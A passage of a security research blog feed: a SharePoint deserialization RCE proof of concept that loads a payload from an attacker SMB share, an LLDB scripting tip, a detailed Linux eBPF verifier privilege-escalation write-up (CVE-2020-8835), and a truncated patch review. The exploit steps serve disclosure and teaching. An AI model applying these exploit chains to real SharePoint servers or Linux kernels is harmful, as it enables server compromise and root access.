Stream Argument The final challenge is to identify an available .NET type that has a constructor with a single argument of type Stream, and that can be used for arbitrary code execution. One possible solution is System.Resources.ResourceSet: Here, we are only interested in two lines: the first and the last. The first line calls the constructor of System.Resources.ResourceReader: This is very promising, since it is taking the contents of the Stream and feeding it to a BinaryFormatter. This could easily lead to arbitrary object deserialization. Looking back at the last line of the System.Resources.ResourceSet constructor, and following the path of code execution down several levels of calls: This shows that the server will deserialize untrusted data, which allows us to execute arbitrary code. Generating a .resources File To conduct this attack, we need a compiled .resources resource file containing our payload. We can use Visual Studio to create the needed .resources file. At compile time, Visual Studio uses the Resource File Generator (Resgen.exe) to convert a .resx file to a binary resource (.resources) file. To inject our payload, we can edit the .resx file and replace the existing data node with the following: Now we can save the *.resx file and compile the current project. Visual Studio will place the compiled *.resources file in the /obj folder. Proof of Concept To demonstrate this exploit, we will use Microsoft SharePoint Server 2019 installed with all default options on a Windows Server 2019 Datacenter server. We have set the computer name as sp2019.contoso.lab and made it a member of the contoso.lab domain. The domain controller is on a separate virtual machine. We added a couple of users, including user2 as a regular unprivileged user. For the attacker system, we’ll need any supported web browser. In the following screenshots, we are using Mozilla Firefox 69.0.3. We’ll also be using our custom SP_soap_RCE_PoC.exe application to send the attack. You can download all the necessary files to try this yourself here. For different BinaryFormatter payloads, you will need YSoSerial.Net. For this demonstration, the hardcoded payload in our PoC will suffice. The next step is to set up a remote SMB server controlled by the attacker. This can be any machine that can receive traffic from the target SharePoint server. On this server, you will need to configure a shared folder that requires no authentication. This can be a bit tricky, but the steps to do this are detailed here. For our demonstration, we’re using Windows Server 2016 Standard with an IP address of 192.168.50.210. In addition to the steps already listed to share a folder, we added Everyone, Guest, and ANONYMOUS LOGON in the Security tab of the shared folder. Astute readers might wonder why the SharePoint server consents to accessing an anonymous SMB share. For security reasons, the Windows SMB client normally does not permit such an operation. This is a mitigation introduced starting with version 1709 of Windows 10 and Windows Server 2016. The answer is that, for some reason, the SharePoint installer turns this mitigation off via a registry entry. In the registry key HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters, it sets the value AllowInsecureGuestAuth to 1. With the folder created and configured, we can place the payload for BinaryFormatter in that location and proceed with the attack. For this demonstration, we’ve named it SP_soap_RCE_PoC.RCE_Resource.resources. Let’s begin by visiting our SharePoint Server and authenticating as a regular user. In this case it is user2: Now we are logged in as an authenticated user: Next, we create our own site so that we will be the owner and will have all permissions. Note, if an attacker is not able to create their own site, they can still try all existing sites and pages in an attempt to find at least one where they have “Add or Customize” Pages permissions.Click on “SharePoint” on the top panel: Now click “+ Create site” link: For this demonstration, we choose Team Site, but it does not matter. Now we need to pick a name for the new site. In this case, we use siteofuser2. Also, we will need the BaseURL of the new site. We can see it on the form shown below, above the green “Available” label. In this example, it is http://sp2019/sites/siteofuser2: Click “Finish”, and the new site will be created: Now let’s go to the target SharePoint server and open the C:\windows\temp folder. We note there is no Vuln_Server.txt file yet. If successful, our PoC will create this file. Next, we confirm our SP_soap_RCE_PoC.RCE_Resource.resources file exists on the attacker-controlled SMB server: Now let’s go back to the “attacker” machine. We will use our custom SP_soap_RCE_PoC.exe executable for the attack. We need to provide the following information as arguments:         — BaseUrl of the target SharePoint Site. In this demonstration, it is http://sp2019/sites/siteofuser2/        — UserName – In our case, this is user2        — Password        — Domain        — Remote Path to our payload file.The command ends up looking like this: SP_soap_RCE_PoC.exe http://Sp2019/sites/siteofuser2/ user2 [email protected] contoso //192.168.50.210/share/SP_soap_RCE_PoC.RCE_Resource.resources SharePoint does report an error that an unsafe type was specified, but the attack is successful anyway. We can check the Temp folder on the target server: This shows how an attacker is able to execute arbitrary OS commands and compromise the entire server. To execute other commands, you would need to generate your own *.resource file. This can be done by opening the RCE_Resource.resx file in any text editor and replacing the base64 BinaryFormatter payload with the desired one: You can then save the file, open the project in Visual Studio and rebuild it. The SP_soap_RCE_PoC.RCE_Resource.resources file with the new payload will be in the \SP_soap_RCE_PoC\SP_soap_RCE_PoC\obj\Release\ folder. ConclusionAccording to Microsoft, this vulnerability was fixed by “correcting how SharePoint checks the source markup of application packages.” Interestingly, all six SharePoint bugs – including the Important-rated bugs – have the exact same write-up. There’s no indication from the vendor why some of these bugs are rated Important while others are rated Critical. Because of this, we recommend you treat all of the bugs as Critical. SharePoint bugs have proven to be popular with attackers in the past. In 2019, CVE-2019-0604 ended up being used extensively in the wild. Time will tell if this bug proves as popular with criminals online.We’ll be back with other great submissions in the future. Until then, follow the team for the latest in exploit techniques and security patches.

  • MindShaRE: Using lldbinit to Enhance the LLDB Debugger
    by Ziad Badawi on April 21, 2020 at 3:05 pm

    MindShaRE is our periodic look at various reverse engineering tips and tricks. The goal is to keep things small and discuss some everyday aspects of reversing. You can view previous entries in this series here.Recently, I have been heavily using LLDB for debugging all the things in macOS like WebKit and system daemons. Coming from a WinDBG background, LLDB is quite different. I expected similar binary module handling in LLDB, but unfortunately that wasn’t the case. The nice thing about LLDB is its customizability. Its API can be used directly from Python, which makes it very flexible in adding features that help speed up debugging and make it a pleasant experience – both visually and practically. Fortunately, someone already made a script for doing just that. They describe it as “A gdbinit clone for LLDB”. Using this script is very simple. Just download lldbinit.py and import it in your .lldbinit file such as command script import ~/lldbinit.py. It would look something like this when starting LLDB with a binary or attaching it to one: If you type in lldbinitcmds, it will list all new commands that were introduced in this script making debugging bearable and visually pleasing. One feature I miss in LLDB that is present in WinDBG is the ability to use module names in breakpoints with offsets, for example, bp addresslib+1EE6 where addresslib.dll is a loaded module. The way to use offsets in LLDB is by fetching the modules base address and then adding the offset. This would lead to the following: This gets tedious. So I thought, why not add support to lldbinit.py for module names? The idea is quite trivial:      1- Get the module name from input.     2- Get a list of loaded modules.     3- Filter list with module name and return its base address. I started with the command bpt, which is located in function cmd_bpt(). Input will be available in the command parameter which is passed to evaluate() for parsing. The first action I did was fetching a list of loaded modules: To get hold of the current execution context, it should be passed from cmd_bpt() according to the docs, thus adding exe_ctx as a parameter. This function returns a dictionary with the loaded modules in the current context. Next is a function that filters and returns the base address of the module plus its offset: This should be self-explanatory. It will return the final expression which is composed of the module base address plus the offset (e.g. 0x00007fff50c2a000+0x23351) returned from input such as audiotoolboxcore+0x23351. To piece things together, cmd_bpt() becomes: Declarations are required as well, such as importing shlex and defining loaded_mods globally. Nice.ConclusionIntricate tools like LLDB may hinder productivity by being tedious, especially with its verbose command structure. Granted that command shortcuts can be used, certain other aspects are still tiresome. The people that are helping in making such tools a little less complicated and more enjoyable are always appreciated.You can find me on Twitter at @ziadrb, and follow the team for the latest in exploit techniques and security patches.

  • CVE-2020-8835: Linux Kernel Privilege Escalation via Improper eBPF Program Verification
    by Guest Blogger on April 16, 2020 at 3:05 pm

    During the recent Pwn2Own 2020 competition, Manfred Paul (@_manfp) of RedRocket CTF used an improper input validation bug in the Linux kernel to go from a standard user to root. Manfred used this bug during the contest to win $30,000 in the Privilege Escalation category. He has graciously put together this write-up of his research describing the bug and the exploit used during the contest.This blog explains the technical details of an exploit using the Linux eBPF feature to achieve local privilege escalation. Due to the nature of the bug(s), which are rather subtle misbehaviors of a safety-critical feature called the “verifier”, some explanations about the inner workings of eBPF need to be provided first. It may be helpful to have the kernel source (kernel/bpf/verifier.c in particular) as a reference alongside these explanations. This bug has been assigned CVE-2020-8835 and was patched on March 30, 2020. Here’s a quick video demonstration of the exploit in action:How eBPF workseBPFSince version 3.15, the Linux kernel supports a general tracing feature called “extended Berkeley Packet Filters”, or eBPF for short. This feature allows users to run eBPF programs, which are written in an assembly-like instruction set, directly in kernel space and can be used to trace certain kernel functionalities. This feature can also be used to filter network packets.All BPF features are accessed through the BPF syscall, which supports various commands. The man page for BPF(2) states:In the current implementation, all bpf() commands require the caller to have the CAP_SYS_ADMIN capability.This is incorrect. Since Linux 4.4, any user can load eBPF programs and run them by attaching them to a socket they own.eBPF ProgramseBPF uses an instruction set that is quite similar to a (very) limited subset of standard x86 assembly. There are 10 registers (plus one stack pointer), and we can execute all basic copy and arithmetic operations on them, including bitwise operations and shifts. For example:       BPF_MOV64_IMM(BPF_REG_3, 1) sets register 3 to value 1, and        BPF_ALU64_REG(BPF_ARSH, BPF_REG_7, BPF_REG_5) arithmetically shifts register 7 right by the contents of register 5. Note that the suffix _REG denotes a register as second operand, while _IMM-instructions take an immediate value. There are also branching jump instructions:        BPF_JMP_IMM(BPF_JNE, BPF_REG_3, 0, 3) jumps over the next three instructions, if register 3 is not equal to 0. For each mov, alu and jmp instruction, there is also a corresponding 32-bit version that operates just on the lower 32 bits of the registers (results are zero-extended where needed). Finally, there are memory loads and stores:        BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_9, 24) loads a 64-bit value from [reg9+24] into reg3, and        BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0) stores the contents of register 6 in [reg8+0]. To execute an eBPF program, it first has to be loaded via the BPF_PROG_LOAD command. This returns a file descriptor corresponding to the program. This file descriptor can then be attached to a socket. The program is then executed for every packet that comes through this socket. eBPF Maps To store data or communicate with user space programs (or each other), eBPF programs can use a feature called maps. All maps represent key-value-mappings of some kind. There are different map types, for example, queues and stacks, however for this exploit, the only one that is used is the arraymap. As the name implies, this type of map is just a contiguous array of entries. It is defined by three parameters:        — key_size is the size in bytes of each index used to access an element. The exploit always uses key_size=sizeof(int)=4.       — value_size is the size of each array element. This size can be arbitrary, within reasonable limits.       — max_entries is the length of the array. We will always just set value_size as high as we need, and set max_entries to 1. One advantage to setting max_entries to 1, rather than having a small value_size but more entries, is that we can then get a pointer to the single value inside the eBPF program, so that the arraymap is in effect just a single memory chunk. This will be very convenient later on. Similar to programs, maps are created by the BPF_MAP_CREATE command of the bpf syscall and are identified by a file descriptor. The exploit will use three maps:        — inmap is a small map containing all parameters the exploit needs to run (e.g. the offset of an out-of-bounds read to perform). Note that although there will be multiple parameters, they will all be stored inside a single larger array entry.       — outmap is a very small map containing any output from the exploit program (for Out-of-Bounds (OOB) reads, the read value).       — explmap is a larger map that will be used for the exploit itself. JIT Compiler For performance reasons, all eBPF programs are JIT compiled into native machine code when they are loaded (except when CONFIG_BPF_JIT_ALWAYS_ON is disabled). The JIT compilation process is pretty much straightforward, as it is very easy to find x86 instructions corresponding to most eBPF instructions. The compiled program runs in kernel space with no additional sandboxing. Verifier Obviously, running arbitrary JIT-compiled eBPF instructions would trivially allow arbitrary memory access, because the load and store instructions are translated into indirect movs. Therefore, the kernel runs a verifier on each program to make sure no OOB memory access can be performed, and also that no kernel pointers can be leaked. The verifier enforces roughly the following (some of these apply only to programs loaded by non-privileged processes):        — No pointer arithmetic or comparisons can be performed, except for the addition or subtraction of a pointer and a scalar value (a scalar value is any value that is not derived from a pointer value).       — No pointer arithmetic that leaves the bounds of known-safe memory regions (i.e. maps) can be performed.       — No pointer values can be returned from maps, nor can they be stored in maps, where they would be readable from user space.       — No instruction is reachable from itself, meaning that the program may not contain any loops. To do this, the verifier must track – for each program instruction – which registers contain pointers and which contain scalar values. In addition, the verifier must perform range computations to ensure that pointers can never leave their appropriate memory regions. It must also perform range tracking for scalar values, because without knowing lower and upper bounds it would be impossible to tell if adding a register containing a scalar value to one containing a pointer would result in an out-of-bounds pointer. For tracking the range of possible values of each register, the verifier keeps track of three separate bounds:        1- umin and umax track the minimum and maximum value that the register can contain when interpreted as an unsigned integer.       2- smin and smax track the minimum and maximum value that the register can contain when interpreted as a signed integer.       3- var_off contains information about certain bits that are known to be 0 or 1. The type of var_off is a structure known as tnum, which is short for “tracked number” or “tristate number”. A tnum has two fields. One field, named value, has all bits set that are known to be 1 in the register under consideration. The other field, named mask, has all bits set where the corresponding bit in the register is unknown. For example, if value is binary 010 and mask is binary 100, then the register could contain either binary 010 or binary 110. To see why 1 and 2 are both necessary, consider a register whose signed bounds are -1 and 0. Interpreted as an unsigned integer, those values can range from 0 to 2ˆ64-1, which has the same representation as signed -1. On the other hand, the unsigned range from 2ˆ63-1 to 2ˆ63 includes both the smallest and largest possible signed values. All of these bounds are regularly used to update each other. For example, if umax is below 2ˆ63, then smin is set to 0 (if it was negative before), as all such numbers are positive. Similarly, if var_off indicates that all except the last three bits are 0, then umax can be safely set to 7. The verifier checks each possible execution path, meaning that at each branch, both outcomes are checked separately. For the two branches of a conditional jump, some additional information can be learned. For example, consider:        BPF_JMP_IMM(BPF_JGE, BPF_REG_5, 8, 3) which takes the branch if register 5 is greater or equal than 8 in an unsigned comparison. While analyzing the false-branch, the verifier is able to set umax of register 5 to 7, because any higher unsigned value would have resulted in taking the other branch. ALU Sanitation In response to a large number of security vulnerabilities that were due to bugs in the verifier, a feature called “ALU sanitation” was introduced. The idea is to supplement the verifier’s static range checks with runtime checks on the actual values being processed by the program. Recall that the only permitted calculations with pointers are to add or subtract a scalar. For every arithmetic operation that involves a pointer and a scalar register (as opposed to an immediate), an alu_limit is determined as the maximal absolute value that can safely be added to or subtracted from to the pointer without exceeding the allowable range. Pointer arithmetic where the sign of the scalar operand is unknown is disallowed. For the rest of this subsection, assume that each scalar is treated as positive; the negative case is analogous. Before each arithmetic instruction that has an alu_limit, the following sequence of instructions is added. Note that off_reg is the register containing the scalar value, and BPF_REG_AX is an auxiliary register. BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit – 1) BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, off_reg) BPF_ALU64_REG(BPF_OR, BPF_REG_AX, off_reg) BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0) BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63) BPF_ALU64_REG(BPF_AND, off_reg, BPF_REG_AX) If the scalar exceeds alu_limit, then the first subtraction will be negative, so that the leftmost bit of BPF_REG_AX will be set. Similarly, if the scalar that is supposed to be positive is in fact negative, the BPF_OR instruction will set the leftmost bit of BPF_REG_AX. The negation followed by the arithmetic shift will then fill BPF_REG_AX with all 0s, so that the BPF_AND will force off_reg to zero, replacing the offending scalar. On the other hand, if the scalar falls within the appropriate range 0 <= off_reg <= alu_limit, the arithmetic shift will fill BPF_REG_AX with all 1s, so that the BPF_AND will leave the scalar register unchanged. To make sure that setting the register to 0 does not itself introduce a new out-of-bounds condition, the verifier will track an additional “speculative” branch where the operand is treated as 0. Exploiting the VerifierBreaking Range TrackingAs mentioned, jump conditionals also exist in a 32-bit variant. However, because all bounds are tracked exclusively for the full 64-bit-wide registers, there is no straightforward way to use 32-bit branches to update register bounds, as can be done for 64-bit branches as detailed above. Because this resulted in improperly rejected programs, for every 32-bit branching jump an additional function call was added, in an attempt to maximize the bounds information that can be gleaned. The idea is to use umin and umax to narrow down the last 32 bits in var_off. The code is as follows, found in kernel/bpf/verifier.c: To understand this code, we must first explain the purpose of several functions used here.        — tnum_range is a function that generates a tnum corresponding to the possible values in a given range of unsigned integers.       — tnum_cast creates a new tnum based on the lowermost bits of an existing tnum. Here, it is used to return the lower 32 bits of reg->var_off.       — tnum_lshift / tnum_rshift perform shifts on tnums. Here, they are used together to clear the lower 32 bits of a tnum.       — tnum_intersect takes two tnum arguments both pertaining to a single value, and returns a single tnum that synthesizes all knowledge conveyed by the arguments.       — tnum_or returns a tnum indicating our knowledge of the bitwise OR of two operands, where the two arguments indicate our knowledge of the two operands. Now consider a register with umin_value = 1 and umax_value = 2ˆ32+1, and var_off otherwise unconstrained. Then reg->umin_value & mask and reg->umax_value & mask will both be 1. Thus, the resulting tnum_range will indicate that the lowest bit is known to be 1, and that all other bits are known to be 0. tnum_intersect will preserve this information and mark all lower 32 bits as known in its output. Finally, tnum_or will reintroduce uncertainty in the upper 32 bits, but because hi32 indicates that the lower 32 bits are known zeros, the lower 32 bits from the tnum_intersect will be preserved. This means that after this function finishes, the lower half of var_off will be marked as known binary 00…01. However, this conclusion is not justified. Just because umin and umax both end in binary 00…01 doesn’t mean that each value in between also does. For example, the register’s true value could easily have been 2. As we will see, this initial incorrect assumption made by the verifier can be used to break further assumptions. Triggering the Bug To actually trigger the described bug, we need to have a register that fulfills the following conditions:        — During execution, the actual value in the register is 2.       — The register’s umin_val is set to 1, and umax_val is set to 2ˆ32+1.       — A conditional jump with a 32-bit comparison on this register is executed. We cannot directly load the value 2 into the register with a mov, as the verifier would then know that umin_val=umax_val=2. However, there is an easy workaround. If we load the register from a map (we’ll use our input map inmap), then the verifier will have no information about its value, as map values can be changed during runtime. To set umin_val and umax_val we can use the verifier’s jump branch logic:        BPF_JMP_IMM(BPF_JGE, BPF_REG_2, 1, 1)       BPF_RAW_INSN(BPF_JMP | BPF_EXIT, 0, 0, 0, 0) The conditional jump will result in two branches. In the one where the branch is taken, the verifier knows that BPF_REG_2 >= 1, while the other branch ends with the exit instruction and is discarded. Thus, for all further instructions the umin_val of register 2 will be 1. Analogously, another conditional jump can be used to set umax_val to 2ˆ32+1. However, here we need to compare against a register, because only 32-bit immediate values are supported. After this, we have umin_val and umax_val set as we wanted. Now, any conditional 32-bit jump can be used to trigger the bug:        BPF_JMP32_IMM(BPF_JNE, BPF_REG_2, 5, 1),       BPF_RAW_INSN(BPF_JMP | BPF_EXIT, 0, 0, 0, 0), The verifier now thinks that the last 32 bits of register 2 are binary 00…01 when in reality they are binary 00…10. After two additional instructions:        BPF_ALU64_IMM(BPF_AND, BPF_REG_2, 2),       BPF_ALU64_IMM(BPF_RSH, BPF_REG_2, 1), The verifier now assumes that register 2 has to be 0 because the AND instruction necessarily has to result in 0 if the second-last bit of the register 2 was 0, but in reality it is (2&2)>>1 = 1. This is a very useful primitive, as we can now multiply register 2 with any number to create an arbitrary value that the verifier believes to be 0. Bypassing ALU SanitationWhile rechecking all pointer arithmetic in runtime seems like a good idea, the implementation is severely lacking. The main problem seems to be that the values aren’t actually limited to the range that the static portion of the verifier assumes them to be in, but rather to a larger limit that seems safe at that moment but isn’t necessarily so with respect to the future. To understand the distinction, consider the following example:       — Register 1 contains a pointer p to the beginning of 4000 bytes of safe memory. Assume that the type of *p is just one byte in size. This means that adding 3999 to p is perfectly fine but adding 4000 would leave the bounds.       — Register 2 contains a scalar a, which the static verifier believes to be 1000.       — Now, add register 2 to register 1. The static verifier has no problem with this, as p+1000 is still within the bounds of the memory region. Because this is arithmetic involving a pointer, the ALU sanitizer will set an alu_limit. However, even though the verifier believes that a is no larger than 1000, the limit is not set to 1000, but rather to 3999, because this is the largest value still believed to be safe.       — Add register 2 to register 1 again. This time, the static part of the verifier believes that p points to position 1000 in the 4000 byte memory block. The alu_limit will now be set to 2999, because this is the largest legal value that can still be added. Now consider what happens if we have used a bug in the static analysis to trick the verifier into believing that a = 1000, while in reality we set a = 2500. The value will still pass both runtime checks without being forced to 0, because 2500 is less than both 3999 and 2999. However, in total we have added 5000 to the pointer p, resulting in an address well outside the safe memory range. While each alu_limit is sufficiently low individually, in combination they are insufficient. The second limit calculation only catches errors that the static analysis makes about the second addition, while assuming that it was completely correct about the first one. Achieving OOB Read & Write Now achieving OOB memory access is just a matter of combining the pieces. First, we use the JMP32 bug to set a register to 1, while the verifier believes it has to be 0. Assume that we have a pointer p to a map of size 8000 bytes (the exploit uses slightly different values). For the purpose of the exploit, it’s most convenient to get OOB access before the beginning of the map, not after the end, so the first step is to add a large value like 6000 to p so that we can “mirror” the ALU sanitation bypass described above. Next, we manufacture a register that has an actual value of 6000 while the verifier thinks it contains 0. We do this by multiplying our original “fake” register with 6000. Now we can subtract that from p. This works because the alu_limit will be set to 6000, the largest legal amount we can subtract. However, the static part of the verifier will still assume that p points to position 6000 in our map. Thus, we can now subtract any value up to 6000 from p, while p in reality points to the start of the map. We now have a pointer up to 6000 bytes before the start of the map’s contents. Because the verifier still believes this pointer to be inside the map’s boundaries, it now allows us to read from and write to this address. For convenience, we can even make the operation and offset (and for writes, the value written) depend on parameters in our input map inmap. For an OOB read, the read value is written to outmap. As maps can be read and modified from user space through the bpf syscall, we can now load this program just once and then repeatedly trigger it with different parameters for an arbitrary OOB read/write gadget. Escalating Privileges Leaking KASLR Conveniently for us, the map’s contents are not stored in a heap chunk by itself, but rather they are placed at the end of a larger struct called struct bpf_map (defined in include/linux/bpf.h). This struct contains some useful members: Particularly useful is the pointer ops which points to a vtable of functions, depending on the map type. In this case, as the map is an arraymap, it points to array_map_ops. As this is a constant struct at a fixed location in rodata (it’s even an exported symbol), reading this can be used to directly bypass KASLR. Arbitrary Read Also useful in the struct is the pointer struct btf *btf, which points to an additional struct containing debug info. This pointer is normally unused (and set to NULL), which makes it a good target to overwrite without messing things up too much. It turns out that this pointer can be conveniently accessed through the bpf_map_get_info_by_fd-function, which in turn is called by the BPF_OBJ_GET_INFO_BY_FD command of the bpf syscall if the file descriptor of the map is provided. This function effectively performs the following (the full function is found in kernel/bpf/syscall.c): This means that if we use our OOB-write primitive to set map->btf to someaddr – offsetof(struct btf, id), then BPF_OBJ_GET_INFO_BY_FD returns *someaddr in info.btf_id. Since the id field of struct btf is a u32, this primitive can be used to read 4 bytes at a time from an arbitrary address. Finding process structs To find the cred and files structs of the process, we first search for init_pid_ns, the default process namespace (if running in a container, we would need to find the corresponding namespace first). This might not be the quickest way, but it works. There are two ways to find init_pid_ns:        — If we know the offset between array_map_ops and init_pid_ns, we can simply add it to the address of array_map_ops, which we already know. This offset does not depend on KASLR, but it isn’t stable across kernel updates.       — Instead, we can find init_pid_ns in the ksymtab and kstrtab segments. To do this, we first find the beginning of kstrtab by iterative search beginning at array_map_ops. Then, we find the null-terminated string “init_pid_ns” in kstrtab, again by a simple iterative search. A final iteration over ksymtab finds the symbol entry that references the kstrtab entry, and also contains the relative address of init_pid_ns. Once init_pid_ns is found, its radix tree can be iterated to find a pointer into the task struct that corresponds to the pid of the exploit process. In fact, this is exactly the mechanism the kernel itself uses to find a task by its pid. Using the tasks struct, both the cred struct containing the user privileges and an array of open file descriptors can be found. The latter can be indexed by the file descriptor of the loaded explmap to obtain the corresponding struct file of the map. In turn, the private_data of this structure points to the struct bpf_map. This means now we also know the address of the contents of explmap. Arbitrary Write Note that by overwriting ops using OOB-write we can control RIP to any function to which we have a pointer. However, the first argument in RDI will always be set to the bpf_map-struct, which rules out a lot of existing functions. Thus, it seems natural to overwrite certain elements of array_map_ops to different map operations, which can at least handle the first argument correctly. To do this, we first load a complete copy of the array_map_ops table into the data of explmap using the arbitrary read primitive as well as the bpf syscall with BPF_MAP_UPDATE_ELEM. The only modification to this copy is that the map_push_elem member, normally unused in arraymaps, is overwritten with the map_get_next_key operation. The arraymap implementation of map_get_next_key is as follows (from kernel/bpf/arraymap.c): If we control next_key and key, then *next = index + 1; can be used as an arbitrary write primitive under the condition that index < array->map.max_entries. If map->max_entries can be set to 0xffffffff, this check will always pass (except for index=0xffffffff, which is actually what we are going to use, but this is fine as *next is still set to 0=index+1). Because we already obtained a pointer to the data of explmap, we can now overwrite explmap->array_map_ops to point to our modified operations table. Note that the signature of map_push_elem, which we have overwritten with map_get_next_key, is: However, map_push_elem is called by the BPF_MAP_UPDATE_ELEM command only if the map has type BPF_MAP_TYPE_STACK or BPF_MAP_TYPE_QUEUE. But if this is the case, we can directly control the flags argument, which will be interpreted as next_key, as well as the value argument. To trigger the arbitrary write gadget, we have to perform the following OOB writes in sequence:        — Set ops to our fake vtable inside the explmap buffer.       — Set explmap->spin_lock_off to 0 to pass some additional checks.       — Set explmap->max_entries to 0xffffffff to pass the check in array_map_get_next_key.       — Set explmap->map_type to BPF_MAP_TYPE_STACK to be able to reach map_push_elem. The arbitrary 32-bit write can now be triggered by passing appropriate arguments to BPF_MAP_UPDATE_ELEM. After all writes are performed, the fields should be reset to their original values to prevent crashes on cleanup. Getting root privileges Getting root is now trivial: We just need to set the uid to 0 in the cred struct of the process. Now we can execute arbitrary privileged commands or drop into an interactive shell. Thanks again to Manfred for such a thorough write-up of this local privilege escalation. This was Manfred’s first time at Pwn2Own, and we hope to see more of his work in the future. Until then, follow the team for the latest in exploit techniques and security patches.

  • The April 2020 Security Update Review
    by Dustin Childs on April 14, 2020 at 5:29 pm

    April is here, and it brings another cornucopia of security patches from Adobe and Microsoft. Take a break from your regularly scheduled activities and join us as we review the details for security patches for this month.Adobe Patches for April 2020For April, Adobe released on three patches addressing five CVEs in Adobe ColdFusion, After Effects, and Digital Editions. All CVEs are rated Important and none are listed as being publicly known or under active attack at the time of release. The update for ColdFusion should be on the top of the deployment list as it includes a local privilege escalation (LPE) to go along with an info disclosure and denial-of-service bug. The update for After Effects, reported by ZDI researchers Mat Powell and Michael DePlante, corrects an info disclosure bug. The patch for Digital Editions also corrects a single information disclosure bug. Although there is no update for Flash this month, the window for the final Flash patches is closing as it goes out of support at the end of this year.Microsoft Patches for April 2020For April, Microsoft released patches for 113 CVEs covering Microsoft Windows, Microsoft Edge (EdgeHTML-based and Chromium-based), ChakraCore, Internet Explorer, Office and Office Services and Web Apps, Windows Defender, Visual Studio, Microsoft Dynamics, Microsoft Apps for Android, and Microsoft Apps for Mac. Of these 113 CVEs, 17 are rated Critical and 96 are rated Important in severity. Twelve of these CVEs were reported through the ZDI program. If you feel like there have been a lot of patches this year, you’re not wrong. Microsoft has seen a 44% increase* in the number of CVEs patched between January to April of 2020 compared to the same time period in 2019. Both an increasing number of researchers looking for bugs and an expanding portfolio of supported products likely caused this increase. It will be interesting to see if this pace continues, especially considering Microsoft will pause optional Windows 10 updates starting next month.Three of the bugs addressed this month are listed as being under active attack, and two are listed as being public at the time of release. [NOTE: Microsoft initially listed CVE-2020-0968 a being under active attack. They have since revised this bulletin to note it is not under attack.] Let’s take a closer look at some of the more interesting updates for this month, starting with two of the bugs under active attack.-       CVE-2020-1020 – Adobe Font Manager Library Remote Code Execution VulnerabilityInitially disclosed back in late March, this bug is one of two reported to be targeting Windows 7 systems. Attackers can use this vulnerability to execute their code on affected systems if they can convince a user to view a specially crafted font. The code would run at the level of the logged-on user. Although the attacks specifically have targeted Windows 7 systems, not all Win7 systems will receive a patch since the OS left support in January of this year. Only those Windows 7 and Server 2008 customers with an ESU license will receive the patch.-       CVE-2020-0938 – OpenType Font Parsing Remote Code Execution VulnerabilityThis bug is associated with the previous vulnerability, although it impacts a different font renderer. It too is listed as being under active attack. Again, an attacker could execute their code on a target system if a user viewed a specially crafted font. We should also note Windows 10 systems are less impacted by these bugs since the code execution would occur in an AppContainer sandbox. Win7 users will also need an ESU license for this patch.-       CVE-2020-0993 – Windows DNS Denial of Service VulnerabilityThis patch addresses a Denial-of-Service (DoS) bug in the Windows DNS service. Note that’s the DNS service and not the DNS Server, so client systems are also affected by this vulnerability. An attacker could cause the DNS service to be nonresponsive by sending some specially crafted DNS queries to an affected system. Since there is no code execution involved, the only gets rated as Important. However, considering the damage that could be done by an unauthenticated attacker, this should be high on your test and deploy list.-       CVE-2020-0981 – Windows Token Security Feature Bypass VulnerabilityIt’s not often you see a security feature bypass directly result in a sandbox escape, but that’s exactly what this bug allows. The vulnerability results from Windows improperly handling token relationships. Attackers could abuse this to allow an application with a certain integrity level to execute code at a different – presumably higher – integrity level. The result is a sandbox escape. This only affects Windows 10 version 1903 and higher, so the code is a relatively recent addition.Here’s the full list of CVEs released by Microsoft for April 2020. CVE Title Severity Public Exploited XI – Latest XI – Older Type CVE-2020-1020 Adobe Font Manager Library Remote Code Execution Vulnerability Important Yes Yes 2 0 RCE CVE-2020-0938 OpenType Font Parsing Remote Code Execution Vulnerability Important No Yes 2 0 RCE CVE-2020-1027 Windows Kernel Elevation of Privilege Vulnerability Important No Yes 0 1 EoP CVE-2020-0935 OneDrive for Windows Elevation of Privilege Vulnerability Important Yes No 2 N/A EoP CVE-2020-0969 Chakra Scripting Engine Memory Corruption Vulnerability Critical No No 2 N/A RCE CVE-2020-1022 Dynamics Business Central Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-0948 Media Foundation Memory Corruption Vulnerability Critical No No 2 2 RCE CVE-2020-0949 Media Foundation Memory Corruption Vulnerability Critical No No 2 2 RCE CVE-2020-0950 Media Foundation Memory Corruption Vulnerability Critical No No 2 2 RCE CVE-2020-0907 Microsoft Graphics Components Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-0687 Microsoft Graphics Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-0927 Microsoft Office SharePoint XSS Vulnerability Critical No No 2 2 XSS CVE-2020-0929 Microsoft SharePoint Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-0931 Microsoft SharePoint Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-0932 Microsoft SharePoint Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-0974 Microsoft SharePoint Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-0965 Microsoft Windows Codecs Library Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-0970 Scripting Engine Memory Corruption Vulnerability Critical No No 2 N/A RCE CVE-2020-0968 Scripting Engine Memory Corruption Vulnerability Critical No No 1 1 RCE CVE-2020-0967 VBScript Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-0910 Windows Hyper-V Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-0942 Connected User Experiences and Telemetry Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0944 Connected User Experiences and Telemetry Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1029 Connected User Experiences and Telemetry Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0784 DirectX Elevation of Privilege Vulnerability Important No No 1 1 EoP CVE-2020-0888 DirectX Elevation of Privilege Vulnerability Important No No 2 1 EoP CVE-2020-0964 GDI+ Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0889 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0953 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0959 